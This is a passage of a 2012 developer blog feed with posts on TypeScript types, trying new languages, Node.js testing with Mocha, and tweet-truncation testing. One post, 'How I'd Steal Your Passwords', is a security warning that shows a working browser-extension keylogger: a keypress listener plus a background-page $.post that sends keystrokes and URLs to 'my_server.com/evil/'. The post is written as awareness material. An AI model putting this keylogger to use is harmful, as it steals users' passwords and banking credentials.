  name: &quot;Tom&quot;,
  says: function () {
    return 'Uh oh!';
  }
};
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;TypeScript throws us a handy error&amp;#8230;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;Cannot convert &amp;#39;{ name: string; says: () =&amp;gt; string; }&amp;#39; to &amp;#39;Person&amp;#39;: Type &amp;#39;{ name: string; says: () =&amp;gt; string; }&amp;#39; is missing property &amp;#39;greeting&amp;#39; from type &amp;#39;Person&amp;#39;&lt;/code&gt;&lt;/p&gt;

&lt;h3 id='function_types'&gt;Function Types&lt;/h3&gt;

&lt;p&gt;The second part of ensuring an object, passed as an argument, will has the correct properties is a really neat feature of TypeScript called a &lt;strong&gt;function type&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Kinda like object types, function types are for specifying the &lt;strong&gt;signature&lt;/strong&gt; of a function, similar(-ish) to functional languages like Haskell.&lt;/p&gt;

&lt;p&gt;For example, if we wanted to create a function to that simulated prodding an aformentioned &amp;#8216;Person&amp;#8217; then we could specify the function type to make sure that it was always passed a &lt;code&gt;Person&lt;/code&gt; to prod.&lt;/p&gt;
&lt;pre&gt;&lt;code data-language='javascript'&gt;
var prod: (person: Person) =&gt; string; 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The above ensures that the argument passed to &lt;code&gt;prod&lt;/code&gt; is a &lt;code&gt;Person&lt;/code&gt;, and that the return type from &lt;code&gt;prod&lt;/code&gt; is a string. When we actually create the &lt;code&gt;prod&lt;/code&gt; function, we can be a bit more confident of the outcome.&lt;/p&gt;
&lt;pre&gt;&lt;code data-language='javascript'&gt;
prod = function(person) {
  return person.name + &quot; said &quot; +
         person.greeting();
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It&amp;#8217;s worth noting that this can all be done in one go too:&lt;/p&gt;
&lt;pre&gt;&lt;code data-language='javascript'&gt;
var prod:
  (person: Person) =&gt; string =
  function(person) {
    return person.name + &quot; said &quot; +
           person.greeting();
  }
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id='much_more_to_learn'&gt;Much more to learn&lt;/h3&gt;

&lt;p&gt;There&amp;#8217;s a whole lot more the TypeScript that I have yet to explore, but I just thought I&amp;#8217;d put together a quick intro for anyone wondering.&lt;/p&gt;

&lt;p&gt;Of course, the object and function types above don&amp;#8217;t replace regular runtime checks, but they definitely could be a great way of catching errors before they get run.&lt;/p&gt;</content>
 </entry>
 
 <entry>
   <title>Try Something New</title>
   <link href="http://phuu.net/2012/10/01/try-something-new.html"/>
   <updated>2012-10-01T14:00:00+01:00</updated>
   <id>http://phuu.net/2012/10/01/try-something-new</id>
   <content type="html">&lt;p&gt;I&amp;#8217;m really interested in the idea of specialism and choosing the right tool for the job, because it frustrates me when I hear, &amp;#8221;I&amp;#8217;m a PHP developer&amp;#8221; or, &amp;#8220;Ruby is better than Python&amp;#8221;. These languages are simply tools that we have available to do our jobs. You might know one tool better than another, as a builder or painter might, but surely you should always pick the best tool for the job?&lt;/p&gt;

&lt;p&gt;I want to persuade you to try something new.&lt;/p&gt;

&lt;p&gt;Languages, in the computing sense, are simply a syntax and grammar, a set of rules, for expressing ideas in a way a computer can read and execute, while also (hopefully) being human readable. At their essence they are all translated (compiled or interpreted) into ones and zeros.&lt;/p&gt;

&lt;p&gt;Essentially languages don&amp;#8217;t make a difference, except that in higher-level languages (that is, PHP, Python, Ruby, JavaScript etc) there are generally more ones and zeros generated per single instruction, which (generally) equates to slower running speed. This isn&amp;#8217;t always the case, as some translation tools do a good job of optimising the translated code, like a good translator of human languages. When you&amp;#8217;re writing C, C++ or Assembler you are much closer to “the metal” and can expect increased performance at the expense of concise and expressive code.&lt;/p&gt;

&lt;p&gt;What&amp;#8217;s important is that languages, by their nature, lend themselves to specific tasks and uses, just like real life languages. For example, traditional Chinese is extremely difficult to type because the words are not based on an alphabet of discrete characters but on unique combinations of strokes to form a whole word in one character. Conversely,the Indo-European family of languages are much better for typing, although this is is most likely because the concept of typing was invented by users of an alphabet. Who knows what we&amp;#8217;d have if the Chinese had invented typing like they did writing?&lt;/p&gt;

&lt;p&gt;In trying a different language, you may find a tool that will serve you well on a current or future project, and may even enable things that were otherwise impossible.&lt;/p&gt;

&lt;p&gt;It will also give you a deeper understanding of programming as a whole; you&amp;#8217;ll see similarities between languages, and better understand why there are differences in the first place.&lt;/p&gt;

&lt;p&gt;The best part is that it only requires a small time investment. There are now many &amp;#8216;tryX.org&amp;#8217; sites and they are great for walking through the basics in a friendly environment.&lt;/p&gt;

&lt;p&gt;Here&amp;#8217;s a select few to get you started:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Ruby: &lt;a href='http://tryruby.org/'&gt;tryruby.org&lt;/a&gt;&lt;/li&gt;

&lt;li&gt;Python: &lt;a href='http://www.trypython.org/'&gt;trypython.org&lt;/a&gt;&lt;/li&gt;

&lt;li&gt;Haskell: &lt;a href='http://tryhaskell.org/'&gt;tryhaskell.org&lt;/a&gt;&lt;/li&gt;

&lt;li&gt;Erlang: &lt;a href='http://tryerlang.org/'&gt;tryerlang.org&lt;/a&gt;&lt;/li&gt;

&lt;li&gt;Clojure: &lt;a href='http://tryclj.com/'&gt;tryclj.com&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;What are you waiting for? Go try something new!&lt;/p&gt;</content>
 </entry>
 
 <entry>
   <title>How I'd Steal Your Passwords</title>
   <link href="http://phuu.net/2012/09/24/how-id-steal-your-passwords.html"/>
   <updated>2012-09-24T22:00:00+01:00</updated>
   <id>http://phuu.net/2012/09/24/how-id-steal-your-passwords</id>
   <content type="html">&lt;p&gt;This post is a bit of fun, but also a word of warning about security and being aware of what you install.&lt;/p&gt;

&lt;p&gt;I&amp;#8217;ve built browser extensions for Chrome, Firefox and Safari. As I was doing so, exploring the APIs and what was possible, I started to realise how scarily powerful extensions are. I&amp;#8217;d like to go through what they might really be capable of, and ask, how careful do we need to be when installing extensions?&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt; I&amp;#8217;d just like to make it clear that the following is applicable to &lt;strong&gt;any&lt;/strong&gt; extension – I&amp;#8217;m not insinuating anything about any one extension.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;This is the story of how I would steal your passwords.&lt;/p&gt;

&lt;h3 id='browser_extensions'&gt;Browser extensions&lt;/h3&gt;

&lt;p&gt;Let me just explain a bit about extensions…&lt;/p&gt;

&lt;p&gt;Extensions are essentially two parts: a background page (or script) with access to browser APIs, and a content script that is injected into a page. The content script has access to a port for communicating with the background page, and it&amp;#8217;s normally run in a sandbox but with access to the same DOM.&lt;/p&gt;

&lt;p&gt;Background pages and content scripts are reasonably well hidden from the user – you&amp;#8217;d have to know your way around the developer tools in Chrome to find them.&lt;/p&gt;

&lt;p&gt;Extensions also have some kind of configuration file: in Chrome it&amp;#8217;s a manifest.json; Safari it&amp;#8217;s Info.plist; package.json in Firefox.&lt;/p&gt;

&lt;p&gt;Things are roughly the same across all browsers and, while I&amp;#8217;ve built extensions for all the big three, this post focuses on Chrome. Firefox may actually be the most powerfully frightening, but I haven&amp;#8217;t explored the opportunities there well enough yet.&lt;/p&gt;

&lt;p&gt;So, to steal your passwords, I&amp;#8217;d use a Chrome extension.&lt;/p&gt;

&lt;h3 id='step_1'&gt;Step 1&lt;/h3&gt;

&lt;p&gt;Build an extension.&lt;/p&gt;

&lt;p&gt;For this post, I&amp;#8217;ve modified an existing extension. It&amp;#8217;s heavily reliant on content scripts, but reasonably complex on the background page side to.&lt;/p&gt;

&lt;h3 id='step_2'&gt;Step 2&lt;/h3&gt;

&lt;p&gt;Get people to install it. Otherwise, who&amp;#8217;s passwords am I going to steal?&lt;/p&gt;

&lt;p&gt;Oh and don&amp;#8217;t worry, there doesn&amp;#8217;t have to be malicious code there just yet because, once it&amp;#8217;s installed, the fun begins.&lt;/p&gt;

&lt;h3 id='step_3'&gt;Step 3&lt;/h3&gt;

&lt;p&gt;????&lt;/p&gt;

&lt;h3 id='step_3_really'&gt;Step 3 (really)&lt;/h3&gt;

&lt;p&gt;Add a keylogger to your extension.&lt;/p&gt;

&lt;p&gt;Yep, it&amp;#8217;s that simple. With simple use of content scripts and the background page, it&amp;#8217;s trivial to set up a keylogger that records the user&amp;#8217;s keystrokes and the page they were on when they entered them.&lt;/p&gt;

&lt;h3 id='step_4'&gt;Step 4&lt;/h3&gt;

&lt;p&gt;Profit!&lt;/p&gt;

&lt;p&gt;Of course.&lt;/p&gt;

&lt;h3 id='heres_how_it_works'&gt;Here&amp;#8217;s how it works…&lt;/h3&gt;

&lt;p&gt;I&amp;#8217;ll go through how I&amp;#8217;d do it in my case, with the extension that I used to build a proof of concept, just to give you an idea. As mentioned before, this is applicable to any extension, not just this one. I don&amp;#8217;t have the ability to deploy the extension I&amp;#8217;m using, so I couldn&amp;#8217;t actually cause damage with this!&lt;/p&gt;

&lt;h3 id='the_server'&gt;The server&lt;/h3&gt;

&lt;p&gt;First, I&amp;#8217;ve set up a very simple server using Node. It listens for data sent from a browser containing the key that was pressed and the page the user was on. This data is simply stored for retrieval later.&lt;/p&gt;

&lt;h3 id='the_extension'&gt;The extension&lt;/h3&gt;

&lt;p&gt;The changes to the content script are scarily small. Please note that this code is intended as an example and not for reference – you can&amp;#8217;t just drop it in.&lt;/p&gt;

&lt;h3 id='content_script'&gt;Content script&lt;/h3&gt;

&lt;p&gt;The first change is the key logger. I&amp;#8217;ve added a few lines to a hotkey content script.&lt;/p&gt;
&lt;pre&gt;&lt;code data-language='javascript'&gt;
document.addEventListener(
  'keypress',
  function (ev) {
    xt.port.emit('key', {
      keyCode: ev.keyCode,
      url: document.location.href
    });
  },
  true
);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I&amp;#8217;ve wrapped the communication port between content script and background page inside &lt;code&gt;xt.port&lt;/code&gt;; it&amp;#8217;s just sending the key data and the page url on every key press.&lt;/p&gt;

&lt;h3 id='background_page'&gt;Background page&lt;/h3&gt;

&lt;p&gt;The change in the background page involves listening for a &lt;code&gt;key&lt;/code&gt; message, before passing it on to the listening server using jQuery&amp;#8217;s $.post method.&lt;/p&gt;
&lt;pre&gt;&lt;code data-language='javascript'&gt;
port.on(&quot;key&quot;, function (data) {
  $.post(
    'https://my_server.com/evil/',
    JSON.stringify(data)
  );
});
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id='thats_it'&gt;That&amp;#8217;s it&lt;/h3&gt;

&lt;p&gt;Yeah, that&amp;#8217;s all there is to it. You type something, like your password, the content script picks it up, passes it to the background page which sends in on to a remote server.&lt;/p&gt;

&lt;p&gt;The key logger can get data from HTTP and HTTPS sites if you specify so in your manifest, so even your bank website isn&amp;#8217;t safe.&lt;/p&gt;

&lt;h3 id='thats_not_all'&gt;That&amp;#8217;s not all&lt;/h3&gt;

&lt;p&gt;This isn&amp;#8217;t everything that&amp;#8217;s possible because we&amp;#8217;ve got access to the whole DOM. To see why this is dangerous, here&amp;#8217;s an example: assuming you know what form fields to expect on a bank website, it&amp;#8217;s trivial to intercept form submissions and gather bank IDs, answers to security questions, or anything else you fancy.&lt;/p&gt;

&lt;h3 id='examples'&gt;Examples&lt;/h3&gt;

&lt;p&gt;Here&amp;#8217;s some data I gathered from my bank and Twitter:&lt;/p&gt;

&lt;p&gt;&lt;img alt='Bank and Twitter' src='http://i.phuu.net/JhKb/Screen%20Shot%202012-09-24%20at%2022.23.06.png' /&gt;&lt;/p&gt;

&lt;p&gt;Note that both are HTTPs sites.&lt;/p&gt;

&lt;p&gt;In case you were wondering, this is the information that users can get about the extension before they install it:&lt;/p&gt;

&lt;p&gt;&lt;img alt='Information' src='http://i.phuu.net/JgGH/Screen%20Shot%202012-09-24%20at%2022.26.37.png' /&gt;&lt;/p&gt;

&lt;p&gt;It&amp;#8217;s found under the details tab on the Chrome Web Store. I bet you didn&amp;#8217;t know it was there.&lt;/p&gt;

&lt;p&gt;You also see this message upon clicking install:&lt;/p&gt;

&lt;p&gt;&lt;img alt='Further message' src='http://i.phuu.net/Jh2V/Screen%20Shot%202012-09-25%20at%2011.01.30.png' /&gt;&lt;/p&gt;

&lt;h3 id='silent_updates'&gt;Silent updates&lt;/h3&gt;

&lt;p&gt;It&amp;#8217;s worth noting that, once an extension is installed, the updates are silent unless you change what the extension has access to. So, assuming you&amp;#8217;ve got people to install it, adding this code to an existing extension is simple and silent.&lt;/p&gt;

&lt;h3 id='conclusion'&gt;Conclusion&lt;/h3&gt;

&lt;p&gt;Overall, be careful what you install. I&amp;#8217;m suggesting that the whole extension system has the potential to be very dangerous. It goes without saying that diligence when installing anything is important, but my point here is that you might not have thought about browser extensions in this way. I hope you now will.&lt;/p&gt;

&lt;h3 id='footnotes'&gt;Footnotes&lt;/h3&gt;

&lt;p&gt;I gave this as a talk at LeamJS September 2012. I&amp;#8217;d be interested in giving it again, so get in touch if you&amp;#8217;re looking for a speaker.&lt;/p&gt;

&lt;p&gt;A quick disclaimer: I have never made use, and do not intend to make use, of the contents of this post for malicious activity. I take no responsibility for any damage caused by anyone else as a result of this post. If you steal passwords or other data, on your head be it.&lt;/p&gt;

&lt;p&gt;An earlier version of this post explicitly mentioned an extension. Its use here was entirely coincidental and the contents of the post have no relation to the security of that extension.&lt;/p&gt;</content>
 </entry>
 
 <entry>
   <title>Node.js in Real Life: Part 3</title>
   <link href="http://phuu.net/2012/09/24/node-js-in-real-life-part-3.html"/>
   <updated>2012-09-24T10:00:00+01:00</updated>
   <id>http://phuu.net/2012/09/24/node-js-in-real-life-part-3</id>
   <content type="html">&lt;p&gt;Let&amp;#8217;s take another look at using Node in real-life, on an actual product. In this series of tutorials we&amp;#8217;ll go through designing, building and deploying a real application built on Node.&lt;/p&gt;

&lt;p&gt;This is part 3. &lt;a href='/2012/09/13/node-js-in-real-life-part-1.html'&gt;Read part 1&lt;/a&gt; or &lt;a href='/2012/09/14/node-js-in-real-life-part-2.html'&gt;part 2&lt;/a&gt;.&lt;/p&gt;

&lt;h3 id='the_app'&gt;The app&lt;/h3&gt;

&lt;p&gt;We&amp;#8217;ll begin by taking a closer look at the structure of the app to get a better idea of what exactly we&amp;#8217;ll be building. This is, roughly, how I think when working on something new. It may not be the same for you, and I&amp;#8217;d be interested to hear your viewpoint if you do things differently.&lt;/p&gt;

&lt;p&gt;Here&amp;#8217;s the description from part 1 to get us started:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;We&amp;#8217;re going to make an application for conference goers, or visitors to any event, that will help them see where others at the event are. We&amp;#8217;ll allow users to &lt;strong&gt;create an event&lt;/strong&gt; by associating a &lt;strong&gt;location&lt;/strong&gt; with a &lt;strong&gt;hashtag&lt;/strong&gt;, and then allow others to use that hashtag to &lt;strong&gt;see themselves&lt;/strong&gt;, and &lt;strong&gt;others&lt;/strong&gt; using the same hashtag, on a &lt;strong&gt;map&lt;/strong&gt;.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;I&amp;#8217;ve highlighted some important parts that are worth taking note of. They&amp;#8217;re all nouns or verbs, so lets do a simple breakdown of obvious entities and processes within the app. The nouns are bold, the verbs are italicised.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;A &lt;strong&gt;user&lt;/strong&gt; can &lt;em&gt;create&lt;/em&gt; a &lt;strong&gt;hashtag&lt;/strong&gt; by associating it with a &lt;strong&gt;location&lt;/strong&gt;. The hashtag acts like an id for an event.&lt;/li&gt;

&lt;li&gt;This combination we will call an &lt;strong&gt;event&lt;/strong&gt;.&lt;/li&gt;

&lt;li&gt;A user can &lt;em&gt;view&lt;/em&gt; an event using the hashtag.&lt;/li&gt;

&lt;li&gt;This places them on a &lt;strong&gt;map&lt;/strong&gt; for others to see.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Immediately we can see what the important parts of, and concepts within, the app. We can expect that the &lt;em&gt;create&lt;/em&gt; hashtag process and the &lt;em&gt;view&lt;/em&gt; screen will the most used, probably the latter more than the former.&lt;/p&gt;

&lt;p&gt;Within our app we will have the concept of a &lt;strong&gt;user&lt;/strong&gt;, a &lt;strong&gt;hashtag&lt;/strong&gt;, an &lt;strong&gt;event&lt;/strong&gt;. The &lt;strong&gt;map&lt;/strong&gt; will be important to the front end, not the server, becuase the server doesn&amp;#8217;t care about the view implementation.&lt;/p&gt;

&lt;p&gt;Great, I think we can start writing code. Or, more specifically, tests&amp;#8230;&lt;/p&gt;

&lt;h3 id='the_board_is_set_the_pieces_are_moving'&gt;The board is set, the pieces are moving&lt;/h3&gt;

&lt;p&gt;The first entity we&amp;#8217;ll work on is the &lt;strong&gt;event&lt;/strong&gt;, the fundamental unit within our app. We can almost think of the event as a model in an MVC-style framework – when using events, we shouldn&amp;#8217;t have to care about the implementation, they should look after themselves.&lt;/p&gt;

&lt;p&gt;I find it useful to design something by first creating the ideal interface through which we&amp;#8217;d use it. Then, as I build, I&amp;#8217;ll keep coming back to this ‘sketched’ interface to refine it according to what I&amp;#8217;ve learnt by building it.&lt;/p&gt;

&lt;p&gt;This can be code or a UI – in the case of code, I like opening a blank text file and just writing out how I&amp;#8217;d like to use something. Like this&amp;#8230;&lt;/p&gt;
&lt;pre&gt;&lt;code data-language='javascript'&gt;
// get an event by hashtag
events.get('leampack');

// an event
{
  hashtag: 'leampack'
, location: {
    lat: -52
  , lng: 1
  }
, created_at: 'some date'
  // perhaps...
, ends_at: 'other date'
, author: {
    // user data
  }
}

// new event
events.add({
  // event data as above
});
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This kind of code sketch really helps me think through what I&amp;#8217;m doing, and clears out some initial cruft. I guess you&amp;#8217;d called this API-driven design. I&amp;#8217;ve probably nicked it from somewhere, let me know if I have!&lt;/p&gt;

&lt;p&gt;Now we can write some tests to begin work on this part of the app.&lt;/p&gt;

&lt;h3 id='tests'&gt;Tests&lt;/h3&gt;

&lt;p&gt;I&amp;#8217;ve created a new file, &lt;code&gt;test/events-test.js&lt;/code&gt;. It&amp;#8217;s best to keep tests for different functionality in separate files so that they can easily be tested in isolation. It&amp;#8217;s also much easier to manage.&lt;/p&gt;

&lt;p&gt;I like a BDD (Behaviour Driven Development) flavour of testing. It may not be your cup of tea, but indulge me for the time being, eh? BDD-style tests don&amp;#8217;t come built into Mocha, you have to install another module called &lt;a href='https://github.com/visionmedia/should.js'&gt;should.js&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;npm install should&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;We can then require this module for some very readable tests!&lt;/p&gt;
&lt;pre&gt;&lt;code data-language='javascript'&gt;
// test/events-test.js

var should = require('should');

describe('events', function () {

  it('should exist', function () {
    should.exist(events);
  });

});
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Since Mocha runs all files in the &lt;code&gt;test/&lt;/code&gt; directory, looking for tests, running &lt;code&gt;mocha&lt;/code&gt; from our eventpack directory should show you that this test is failing. That&amp;#8217;s good, let&amp;#8217;s make it pass.&lt;/p&gt;
&lt;pre&gt;&lt;code data-language='javascript'&gt;
var should = require('should')
  , events = {};
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Try running &lt;code&gt;mocha&lt;/code&gt; again. Yay! It passes.&lt;/p&gt;

&lt;h3 id='reporters'&gt;Reporters&lt;/h3&gt;

&lt;p&gt;Mocha has a few different ways of displaying tests, called &lt;a href='http://visionmedia.github.com/mocha/#reporters'&gt;&lt;strong&gt;reporters&lt;/strong&gt;&lt;/a&gt;. The default, &lt;code&gt;dot&lt;/code&gt;, is pretty boring. I prefer the &lt;code&gt;spec&lt;/code&gt; reporter. To make Mocha use this reporter, run it like this:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;mocha -R spec&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;img alt='mocha with the spec runner output' src='http://i.phuu.net/Jev2/Screen%20Shot%202012-09-23%20at%2023.35.57.png' /&gt;&lt;/p&gt;

&lt;p&gt;Great!&lt;/p&gt;

&lt;h3 id='further_functionality'&gt;Further functionality&lt;/h3&gt;

&lt;p&gt;Obviously, our events object is not doing anything. According to the sketch we did earlier, the first bit of functionality is that &lt;code&gt;events.get(&amp;#39;leampack&amp;#39;)&lt;/code&gt; will return an event object, so that&amp;#8217;s the next thing we&amp;#8217;ll work&lt;/p&gt;

&lt;p&gt;This is where the code samples become a little more involved. I&amp;#8217;d recommend following along inside the file. I&amp;#8217;ll provide some important bits of code, but really you can only see the full thing in the actual file.&lt;/p&gt;
&lt;pre&gt;&lt;code data-language='javascript'&gt;
. . .

// events.get('leampack')
it('should return leampack', function () {

  var event = events.get('leampack');

  // Does it actually return data?
  events.should.be.a('object');

  // Is it equivalent to our code sketch?
  event.should
    .have.property('hashtag');
  event.should
    .have.property('location');
  event.should
    .have.property('created_at');

  // Check the data
  event.hashtag.should
    .equal('leampack');
  event.location.should
    .have.property('lat');
  event.location.lat.should
    .equal(-52);
  event.location.should
    .have.property('lng');
  event.location.lng.should
    .equal(1);
  event.created_at
    .should.equal('some date');

});

. . .
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Of course, Mocha will tell you this is failing. We&amp;#8217;ll work through the errors one at a time.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;TypeError: Object #&amp;lt;Object&amp;gt; has no method &amp;#39;get&amp;#39;&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Right now &lt;code&gt;events&lt;/code&gt; is just an empty object, devoid of properties and methods, soul and swing. And remember, it don&amp;#8217;t mean thing if it ain&amp;#8217;t got that swing.&lt;/p&gt;

&lt;p&gt;The first thing to do is to move &lt;code&gt;events&lt;/code&gt; into another file. I&amp;#8217;m going to put all our entity files in a folder called &lt;code&gt;entity&lt;/code&gt;, so we can &lt;code&gt;require&lt;/code&gt; them from other files. The first is &lt;code&gt;entity/events.js&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Initially this file will look like this:&lt;/p&gt;
&lt;pre&gt;&lt;code data-language='javascript'&gt;
/**
 * Events
 */

/**
 * get returns an event associated with
 * a particular hashtag.
 *
 * The hashtag argument is a string.
 *
 * Returns an event object.
 */
exports.get = function () {
  return {};
};
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We should update our test file to require events from this location. Note that it&amp;#8217;s relative to the current file, unlike when we&amp;#8217;re requiring Node modules.&lt;/p&gt;
&lt;pre&gt;&lt;code data-language='javascript'&gt;
var should = require('should')
  , events = require('../entity/events');
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Running Mocha again, you should notice that the error is now different. Excellent, we&amp;#8217;ve passed part of the test. The next bits are easy to remedy.&lt;/p&gt;
&lt;pre&gt;&lt;code data-language='javascript'&gt;
exports.get = function () {
  return {
    hashtag: 'leampack'
  , location: {
      lat: -52
    , lng: 1
    }
  , created_at: 'some date'
  };
};
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We&amp;#8217;ve just made &lt;code&gt;events.get&lt;/code&gt; return the exact data from our code sketch.&lt;/p&gt;

&lt;h3 id='about_tbdd'&gt;About (T|B)DD&lt;/h3&gt;

&lt;p&gt;If you&amp;#8217;re not used this way of doing test-driven development, you might think this is cheating. After all, we can&amp;#8217;t write an app that returns hard coded data!&lt;/p&gt;

&lt;p&gt;You&amp;#8217;re right, we can&amp;#8217;t, but this is all part of the plan. Write a test, write just enough code to pass it, then write a new test.&lt;/p&gt;

&lt;p&gt;Right now we have enough code to pass our tests and no more. Aside from the code that &lt;code&gt;express&lt;/code&gt; auto-generated, we&amp;#8217;ve got more test code than app code. That&amp;#8217;s a nice way for things to be.&lt;/p&gt;

&lt;p&gt;This style of testing is called &lt;strong&gt;unit testing&lt;/strong&gt;, so called becuase you are testing one small piece of functionality or ‘unit’. In a unit test, the test is designed to ensure that a specific unit works the way you expect, in &lt;strong&gt;isolation&lt;/strong&gt;.&lt;/p&gt;

&lt;h3 id='over_and_out'&gt;Over and out&lt;/h3&gt;

&lt;p&gt;So that&amp;#8217;s enough for this part. We&amp;#8217;ve covered our app in detail, unit modularity in Node, unit testing, Mocha reporters and got 2 passing tests! Nice work.&lt;/p&gt;

&lt;p&gt;As ever, if you have any problems or questions just let me know in the comments, and if you want to tweet about this series, please consider using the hashtag &lt;strong&gt;#nodeirl&lt;/strong&gt;!&lt;/p&gt;

&lt;p&gt;Thanks for reading.&lt;/p&gt;</content>
 </entry>
 
 <entry>
   <title>Help Needed</title>
   <link href="http://phuu.net/2012/09/17/help-needed-text-processing.html"/>
   <updated>2012-09-17T17:00:00+01:00</updated>
   <id>http://phuu.net/2012/09/17/help-needed-text-processing</id>
   <content type="html">&lt;p&gt;I&amp;#8217;m working on improving &lt;a href='http://twapp.phuu.net'&gt;Twapp&lt;/a&gt;, my App.net to Twitter cross-posting tool, by attempting to built a comprehensive set of unit tests to ensure that any new functionality I add doesn&amp;#8217;t break what&amp;#8217;s there already. But I&amp;#8217;m having difficulty actually doing it.&lt;/p&gt;

&lt;p&gt;Let me tell you what it does, and hopefully you&amp;#8217;ll see the problem.&lt;/p&gt;

&lt;p&gt;On App.net, you have 256 characters with which to play. On Twitter, in case you&amp;#8217;ve been living under a rock, you have 140. At it&amp;#8217;s most basic, Twapp does this:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;if the post is longer than 140, truncate it at 139 characters, add ‘&amp;#8230;’ and be done with it.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;But it&amp;#8217;s not that simple.&lt;/p&gt;

&lt;p&gt;What if you want to add a link to the post on alpha.app.net if it&amp;#8217;s too long? That&amp;#8217;s ok, as long as you work around Twitter wrapping &lt;strong&gt;every single link&lt;/strong&gt; in t.co (so all links are 20 characters. &lt;a href='https://dev.twitter.com/docs/tco-url-wrapper/best-practices'&gt;Ish.&lt;/a&gt;).&lt;/p&gt;

&lt;p&gt;Ok, but what if you want to add a hashtag to the end of every cross-posted tweet? Here&amp;#8217;s where the problems start.&lt;/p&gt;

&lt;p&gt;For example, if the hashtag is ‘#adn’ you have to account for 5 extra characters on the end of the post. Initially you might have enough room (eg, a post of 136 characters), so no link would need to be added, but as soon as the hashtag goes in there it&amp;#8217;s suddenly 141 and you need the link. And since you&amp;#8217;re also adding ‘&amp;#8230;’ when the post is cut off, you need to account for this too. So it&amp;#8217;s 143, and you need to truncate the post text down to 133.&lt;/p&gt;

&lt;p&gt;And of course, you don&amp;#8217;t always want the ‘&amp;#8230;’ becuase a post may not be too long even with the hashtag on the end.&lt;/p&gt;

&lt;p&gt;It becomes a problem when you consider that links may also appear anywhere in the post. Since these are always going to be made 20-ish characters long, we have to account for them too (and remember, links can be longer and shorter than 20 characters).&lt;/p&gt;

&lt;p&gt;It then becomes extremely difficult to write an algorithm to ensure what comes out it a well formed tweet.&lt;/p&gt;

&lt;p&gt;The thing is, I have code for it and it works reasonably well. It&amp;#8217;s not perfect, but it works. I haven&amp;#8217;t quite explained everything here (like username conversion), but I hope you get my dript.&lt;/p&gt;

&lt;p&gt;But now I want to add features. It seems, though, that I&amp;#8217;m at a serious risk of &lt;a href='/2012/09/13/i-messed-up-i-am-sorry.html'&gt;breaking everything&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;So I need to test the functions that do this transformation, but I have no idea how. There&amp;#8217;s more than 64 permutations of Twapp&amp;#8217;s settings, and 110,000^256 different possible App.net posts, otherwise known as infinity.&lt;/p&gt;

&lt;p&gt;I know I don&amp;#8217;t have to worry about 99% of them (although 1% of infinity is still infinity, right?), but I don&amp;#8217;t know how to identify the ones I &lt;strong&gt;do&lt;/strong&gt; need to worry about, and I don&amp;#8217;t know how to test this functionality with any level of confidence.&lt;/p&gt;

&lt;p&gt;If you have any experience of doing, &lt;strong&gt;and testing&lt;/strong&gt;, the same thing, or can point me in the direction of someone who does, please &lt;a href='mailto:hello+help@phuu.net'&gt;get in touch&lt;/a&gt;. I&amp;#8217;d really appreciate the help!&lt;/p&gt;

&lt;p&gt;Thanks for reading.&lt;/p&gt;</content>
 </entry>
 
 <entry>
   <title>Node.js In Real Life: Part 2</title>
   <link href="http://phuu.net/2012/09/14/node-js-in-real-life-part-2.html"/>
   <updated>2012-09-14T17:00:00+01:00</updated>
   <id>http://phuu.net/2012/09/14/node-js-in-real-life-part-2</id>
   <content type="html">&lt;p&gt;Let&amp;#8217;s take another look at using Node in real-life, on an actual product. In this series of tutorials we&amp;#8217;ll go through designing, building and deploying a real application built on Node.&lt;/p&gt;

&lt;p&gt;This is part 2. &lt;a href='/2012/09/13/node-js-in-real-life-part-1.html'&gt;Read part 1&lt;/a&gt;.&lt;/p&gt;

&lt;h3 id='do_the_node'&gt;Do the Node&lt;/h3&gt;

&lt;p&gt;Before I get into making Node do stuff, we need to talk about Node itself. What&amp;#8217;s different about it, and when should you use it?&lt;/p&gt;

&lt;p&gt;If you know the difference between blocking and non-blocking, and you know what I mean when I say asynchronous and event-loop, you can skip this bit, down to &lt;strong&gt;In use&lt;/strong&gt;.&lt;/p&gt;

&lt;h3 id='blocking_vs_nonblocking'&gt;Blocking vs Non-blocking&lt;/h3&gt;

&lt;p&gt;Systems built in PHP, Ruby and Python, in the main, do something called ‘blocking’ whenever they have to carry out a request to another resource, like a database or another API.&lt;/p&gt;

&lt;p&gt;If you&amp;#8217;re using Apache with PHP, for example, Apache will spawn a thread to handle a request from a user, allocating memory that can&amp;#8217;t be used by anything else until the response back to the user has finished being sent. This is an expensive operation and is a significant reason why Apache servers crash under high load. The server does not have enough memory to handle so many simultaneous users.&lt;/p&gt;

